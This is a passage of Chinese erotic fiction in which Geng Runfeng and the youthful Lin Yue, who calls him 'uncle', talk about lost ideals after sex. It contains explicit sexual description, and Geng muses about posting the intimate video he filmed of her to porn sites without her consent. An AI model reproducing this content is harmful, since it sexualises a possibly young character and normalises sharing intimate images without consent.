二次床战,时间比第一次更长,林悦更是呼天抢地。只是没再喷潮,大概是
第一次过于激烈,身体上不再支持。看了自己高潮时的模样,林悦羞得抬不起头。

这一通折腾,大半天过去,俩人无力再战,并肩躺在床上谈起人生。耿润峰
自嘲,发泄完性欲,都成了哲人。

「耿叔,你有过理想吗?」问完,林悦就觉得后悔,觉得这问题很傻。这个
有些早慧的小姑娘怎么能不明白,人在年轻的时候,都曾有过理想,可能不切实
际,不过却都很美好。

「有啊,怎么没有过。」耿润峰眨了眨眼,长吁口气,眼神飘渺起来,仿佛
回到了自己的青葱岁月。

「上学的时候,特欣赏当时的总理。铁血宰相嘛,两袖清风,一心为民,准
备了一百口棺材,九十九口装贪官,一口装自己。多么慷慨激昂……那个时候,
我特想从政,当一个像他那样的好官。毕业以后,就知道那不过是个笑谈。无论
从事哪个行业,都需要资源的传承啊。经商是,从政也是。不排除有白手起家的
神话,但是那毕竟是万中无一。不过那时候,我还是很崇拜他,把他当成自己的
一个梦了。也为了他黯然退休而惋惜伤神。再后来,当我知道他学大气的儿子当
了国字号金融集团的董事长,我的梦就碎了。凭什么啊?就凭他爹是我们天朝的
金融沙皇?这里面没有利益猫腻,谁信?越往后,就越发现,事情和自己想的不
一样。他没有新闻里,网络中吹捧得那么高尚。他嘴里的豪言壮语,无非是掩盖
他所做的坑害民众利益。装九十九个贪官,呵呵……他杀哪一个了?倒是后来不
少政府大楼盖得像棺材。他的所作所为,无不是为了拯救他所在的那个利益集团,
执政集团,至于民众利益?那是可以罔顾的。不过想一想,也无可厚非,作为政
客,这是他的本职工作。换成我,也会如此,可能手段还不如人家高明……喔,
不,不对,一定没人家高明。有人说,他的继任者是影帝,难道他不是?都一样,
一丘之貉。都在演戏,表演风格各异,但是同样经典。其实往大了说,人生不也
是个戏台?每个人都在上面表演……」

一口气说了这么多,耿润峰停下喘了口气,看了看林悦,带着几分歉意道:
「不该和你说这些……」

「不,我爱听。挺好的。」林悦侧身,手支着头,两眼晶晶亮,清澈如水,
看着耿润峰。

「能听懂?」

林悦想了想说:「不全懂,能懂一点。起码我知道了,你年轻时候的偶像坍
塌了。」

耿润峰笑了,摇摇头,片刻后说:「不牢骚了,牢骚太盛防肠断。」

「那后来呢,后来没理想了?」林悦问。

「后来啊……后来也有,想着投身商界,做一番精彩,结果也不像自己想的
那样。这个梦想没了之后,就剩下好好活着,是最真实,也最靠谱的梦想了。」

随着话出口,耿润峰的语气越发平和。

闲聊着,林悦看了看墙上的挂钟,时间到了晚上七点半。

「呀,都七点多了,我说怎么饿了。」林悦失声道。

听林悦这么一说,耿润峰也觉得饿了,便起身收拾,要带林悦出去吃饭。

林悦问:「晚上你是不是要回叶姨那?」

耿润峰稍一犹豫,林悦便心领神会地说道:「今天晚上我得回家。房退了吧。」

离开宾馆,林悦再三叮嘱,不要把手机里拍的视频让别人看到。耿润峰满口
答应,心里却盘算着,是不是把视频打了码,传到草榴或者SIS上去。不过最
终他还是打消了这个念头。毕竟他比较吝啬,不愿意和人分享自己的快乐。

吃过晚饭,和林悦分别后,耿润峰如常地回到了叶秋华家。

因为发泄了一下午性欲,耿润峰没有交公粮的主动意识。叶秋华兴致倒是不
错,主动给耿润峰吹箫。经历过高强度性爱,耿润峰的龟头异常敏感,难受得呲
牙裂嘴。看耿润峰不太积极,叶秋华也就偃旗息鼓了。她倒没怀疑什么,毕竟这
一段日日无休,状态低迷也不奇怪。

准备睡觉的时候,耿润峰手机上挂着的QQ响了起来。他抄起一看,是小惟
闲兮兮地发来个QQ表情。看到小惟的信息,耿润峰就想起了她放林悦鸽子的事,
决定敲打她一下。

「你这怎回事?看个电影还放人鸽子,害得我当了出气筒。」耿润峰果断发
信息道。

「啥?放鸽子?是我被放鸽子了好不?这怎么还带恶人先告状的!」小惟一
连串发了好几条信息,话里的意思是,林悦约她看电影,然后爽约不见了,害得
她空等了一下午。

小惟这么一说,耿润峰倒分不出真假了。也不知是谁放了谁鸽子。

耿润峰心想:这怎么一个人说的一个样?亏得是人少,当事人再多俩,这放
鸽子的事真就闹成罗生门了。

【待续】